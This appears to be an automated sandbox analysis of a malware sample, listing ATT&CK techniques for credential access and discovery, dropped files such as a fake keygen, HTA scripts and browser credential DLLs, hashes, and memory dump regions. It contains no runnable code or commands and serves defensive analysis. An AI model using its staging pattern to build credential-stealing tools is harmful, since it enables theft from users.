Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\freebl3.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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C:\ProgramData\softokn3.dll

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C:\ProgramData\sqlite3.dll

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C:\ProgramData\vcruntime140.dll

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\165C.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\165C.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\165C.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\165C.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\165C.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\165C.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\165C.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\165C.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\165C.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Public\fvd.exe

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C:\Users\Public\fvd.exe

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C:\Users\Public\gej.exe

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C:\Users\Public\gej.exe

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C:\Users\Public\gej.exe

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C:\Users\Public\ych.exe

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C:\Users\Public\ych.exe

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C:\Users\Public\ych.exe

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\ProgramData\mozglue.dll

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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\ProgramData\sqlite3.dll

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memory/916-6-0x0000000000000000-mapping.dmp

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memory/924-0-0x0000000000000000-mapping.dmp

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memory/1520-26-0x0000000000000000-mapping.dmp

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memory/1520-30-0x0000000070DC0000-0x00000000714AE000-memory.dmp

Filesize
6.9MB

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memory/1748-9-0x0000000000000000-mapping.dmp

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memory/1884-10-0x0000000000000000-mapping.dmp

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memory/2212-3-0x0000000000000000-mapping.dmp

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memory/2212-2-0x0000000000000000-mapping.dmp

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memory/2836-15-0x0000000070DC0000-0x00000000714AE000-memory.dmp

Filesize
6.9MB

Download
memory/2836-39-0x0000000008100000-0x0000000008101000-memory.dmp

Filesize
4KB

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memory/2836-13-0x0000000000000000-mapping.dmp

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memory/2836-27-0x00000000076F0000-0x00000000076F1000-memory.dmp

Filesize
4KB

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memory/3544-20-0x0000000000000000-mapping.dmp

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memory/3668-62-0x00000000088F0000-0x00000000088F1000-memory.dmp

Filesize
4KB

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memory/3668-25-0x0000000000000000-mapping.dmp

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memory/3668-29-0x0000000070DC0000-0x00000000714AE000-memory.dmp

Filesize
6.9MB

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memory/3772-149-0x0000000000000000-mapping.dmp

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memory/3836-22-0x0000000000000000-mapping.dmp

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memory/3860-17-0x0000000000000000-mapping.dmp

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memory/3988-81-0x0000000009900000-0x0000000009901000-memory.dmp

Filesize
4KB

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memory/3988-23-0x0000000007120000-0x0000000007121000-memory.dmp

Filesize
4KB

Download
memory/3988-49-0x0000000007770000-0x0000000007771000-memory.dmp

Filesize
4KB

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memory/3988-19-0x0000000004640000-0x0000000004641000-memory.dmp

Filesize
4KB

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memory/3988-100-0x0000000009400000-0x0000000009401000-memory.dmp

Filesize
4KB

Download
memory/3988-99-0x00000000094A0000-0x00000000094A1000-memory.dmp

Filesize
4KB

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memory/3988-84-0x0000000008EC0000-0x0000000008EC1000-memory.dmp

Filesize
4KB

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memory/3988-53-0x00000000081D0000-0x00000000081D1000-memory.dmp

Filesize
4KB

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memory/3988-12-0x0000000000000000-mapping.dmp

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memory/3988-101-0x000000000A480000-0x000000000A481000-memory.dmp

Filesize
4KB

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memory/3988-31-0x00000000079A0000-0x00000000079A1000-memory.dmp

Filesize
4KB

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memory/3988-14-0x0000000070DC0000-0x00000000714AE000-memory.dmp

Filesize
6.9MB

Download
memory/3988-35-0x00000000077C0000-0x00000000077C1000-memory.dmp

Filesize
4KB

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memory/4216-118-0x0000000000000000-mapping.dmp

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memory/4236-121-0x0000000000000000-mapping.dmp

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memory/4272-143-0x0000000000000000-mapping.dmp

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memory/4300-136-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4300-130-0x000000000043FCC3-mapping.dmp

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memory/4300-128-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4320-140-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4320-131-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4320-134-0x0000000000417A8B-mapping.dmp

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memory/4340-58-0x0000000000000000-mapping.dmp

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memory/4392-139-0x000000000041A684-mapping.dmp

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memory/4392-135-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4392-142-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/4408-60-0x0000000000000000-mapping.dmp

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memory/4420-67-0x0000000070DC0000-0x00000000714AE000-memory.dmp

Filesize
6.9MB

Download
memory/4420-61-0x0000000000000000-mapping.dmp

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memory/4524-70-0x0000000070DC0000-0x00000000714AE000-memory.dmp

Filesize
6.9MB

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memory/4524-64-0x0000000000000000-mapping.dmp

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memory/4808-150-0x0000000000000000-mapping.dmp

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memory/4844-161-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4844-158-0x000000000043FCC3-mapping.dmp

Download
memory/4872-164-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4872-162-0x0000000000417A8B-mapping.dmp

Download
memory/4972-167-0x000000000041A684-mapping.dmp

Download
memory/5024-109-0x0000000070DC0000-0x00000000714AE000-memory.dmp

Filesize
6.9MB

Download
memory/5024-115-0x0000000000960000-0x0000000000961000-memory.dmp

Filesize
4KB

Download
memory/5024-105-0x0000000000000000-mapping.dmp

Download
memory/5024-199-0x00000000056E0000-0x0000000005790000-memory.dmp

Filesize
704KB

Download
memory/5024-202-0x0000000005D80000-0x0000000005D81000-memory.dmp

Filesize
4KB

Download
memory/5036-106-0x0000000000000000-mapping.dmp

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